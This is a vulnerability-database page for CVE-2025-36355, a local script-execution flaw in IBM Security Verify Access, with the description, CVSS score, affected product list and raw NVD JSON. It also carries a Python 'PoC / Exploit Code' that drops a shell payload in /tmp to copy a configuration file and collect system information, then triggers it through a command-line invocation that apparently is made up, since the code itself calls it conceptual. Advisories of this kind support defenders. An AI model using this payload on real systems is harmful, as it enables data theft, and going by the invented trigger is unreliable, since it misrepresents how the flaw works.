Security Vulnerability Report
中文
CVE-2025-36355 CVSS 8.5 HIGH

CVE-2025-36355

Published: 2025-10-06 17:16:05
Last Modified: 2025-12-15 19:23:16

Description

IBM Security Verify Access and IBM Security Verify Access Docker 10.0.0.0 through 10.0.9.0 and 11.0.0.0 through 11.0.1.0 could allow a locally authenticated user to execute malicious scripts from outside of its control sphere.

CVSS Details

CVSS Score
8.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:ibm:security_verify_access:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:security_verify_access:10.0.9.0:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:security_verify_access:10.0.9.0:interim_fix1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:security_verify_access:10.0.9.0:interim_fix2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:security_verify_access_docker:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:verify_identity_access:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:verify_identity_access:11.0.1.0:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:verify_identity_access_docker:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:verify_identity_access_docker:11.0.1.0:-:*:*:*:*:*:* - VULNERABLE
IBM Security Verify Access 10.0.0.0 - 10.0.9.0
IBM Security Verify Access Docker 10.0.0.0 - 10.0.9.0
IBM Security Verify Access 11.0.0.0 - 11.0.1.0
IBM Security Verify Access Docker 11.0.0.0 - 11.0.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-36355 - IBM Security Verify Access Local Script Execution PoC # This PoC demonstrates the concept of exploiting the local script execution vulnerability # Note: This requires local authenticated access to the target system import os import subprocess import sys # Step 1: Verify local access to IBM Security Verify Access installation def check_target(): """Check if IBM Security Verify Access is installed locally""" verify_paths = [ "/opt/ibm/security/verify-access", "/usr/local/ibm/security/verify-access", "/opt/IBM/Security/VerifyAccess" ] for path in verify_paths: if os.path.exists(path): print(f"[+] Found IBM Security Verify Access at: {path}") return path print("[-] IBM Security Verify Access not found") return None # Step 2: Create a malicious script outside the control sphere def create_malicious_script(target_dir): """Create a malicious script that will be executed by the vulnerable component""" malicious_script = os.path.join(target_dir, "malicious_payload.sh") payload = """#!/bin/bash # Malicious payload - executed due to CVE-2025-36355 echo "[+] CVE-2025-36355 Exploit Successful" # Exfiltrate sensitive configuration if [ -f /opt/ibm/security/verify-access/config/amba.conf ]; then cat /opt/ibm/security/verify-access/config/amba.conf > /tmp/exfiltrated_config.txt fi # Gather system information uname -a > /tmp/system_info.txt id >> /tmp/system_info.txt """ with open(malicious_script, 'w') as f: f.write(payload) os.chmod(malicious_script, 0o755) print(f"[+] Malicious script created at: {malicious_script}") return malicious_script # Step 3: Exploit the vulnerability by triggering script execution def exploit(script_path): """Trigger the vulnerable component to execute the malicious script""" # The exact exploitation method depends on the specific vulnerable function # This is a conceptual demonstration print(f"[*] Attempting to exploit CVE-2025-36355...") # In a real scenario, the attacker would invoke the vulnerable # IBM Security Verify Access function that loads external scripts try: result = subprocess.run( ["/opt/ibm/security/verify-access/bin/runtime", "--execute-script", script_path], capture_output=True, text=True, timeout=10 ) print(f"[+] Exploit result: {result.returncode}") except Exception as e: print(f"[-] Exploit attempt: {e}") if __name__ == "__main__": target = check_target() if target: script = create_malicious_script("/tmp") exploit(script)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-36355", "sourceIdentifier": "[email protected]", "published": "2025-10-06T17:16:05.320", "lastModified": "2025-12-15T19:23:15.803", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Security Verify Access and IBM Security Verify Access Docker 10.0.0.0 through 10.0.9.0 and 11.0.0.0 through 11.0.1.0 \n\ncould allow a locally authenticated user to execute malicious scripts from outside of its control sphere."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.5, "impactScore": 5.3}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-829"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:security_verify_access:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0.0.0", "versionEndExcluding": "10.0.9.0", "matchCriteriaId": "CCA4ADF8-014B-4A43-AE12-CC7D46B0F8BF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:security_verify_access:10.0.9.0:-:*:*:*:*:*:*", "matchCriteriaId": "9916DF0F-8A3E-4CB4-957F-286E168666A2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:security_verify_access:10.0.9.0:interim_fix1:*:*:*:*:*:*", "matchCriteriaId": "05FBA01C-DDCD-4B80-B14B-81DAB052CC8D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:security_verify_access:10.0.9.0:interim_fix2:*:*:*:*:*:*", "matchCriteriaId": "149CA168-1117-4B50-8F5A-B72D4BCC65F1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:security_verify_access_docker:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0.0.0", "versionEndExcluding": "10.0.9.0", "matchCriteriaId": "FFF4D7D4-0D01-44CA-84A2-2EA59802D1CB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:security_verify_access_docker:10.0.9.0:-:*:*:*:*:*:*", "matchCriteriaId": "7E76C6CF-1E2A-403E-9C7F-619BE2057468"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:security_verify_access_docker:10.0.9.0:interim_fix1:*:*:*:*:*:*", "matchCriteriaId": "B8BF3374-6B03-4A25-9F4D-F88C091804C7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:security_verify_access_docker:10.0.9.0:interim_fix2:*:*:*:*:*:*", "matchCriteriaId": "C8D09601-F55B-4307-8BEE-218F5CAC2138"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:verify_identity_access:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0.0.0", "versionEndExcluding": "11.0.1.0", "matchCriteriaId": "16595130-3A46-4DD1-9DAA-53E534306975"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:verify_identity_access:11.0.1.0:-:*:*:*:*:*:*", "matchCriteriaId": "4A7A934C-F8B6-44D1-9591-A3FDB86BEECB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:verify_identity_access_docker:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0.0.0", "versionEndExcluding": "11.0.1.0", "matchCriteriaId": "81BD4D96-C9E9-422B-B18A-61ECFE711884"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:verify_identity_access_docker:11.0.1.0:-:*:*:*:*:*:*", "matchCriteriaId": "0C06D5AD-67DD-46FA-BDF7-39A2E0EAAF95"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7247215", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}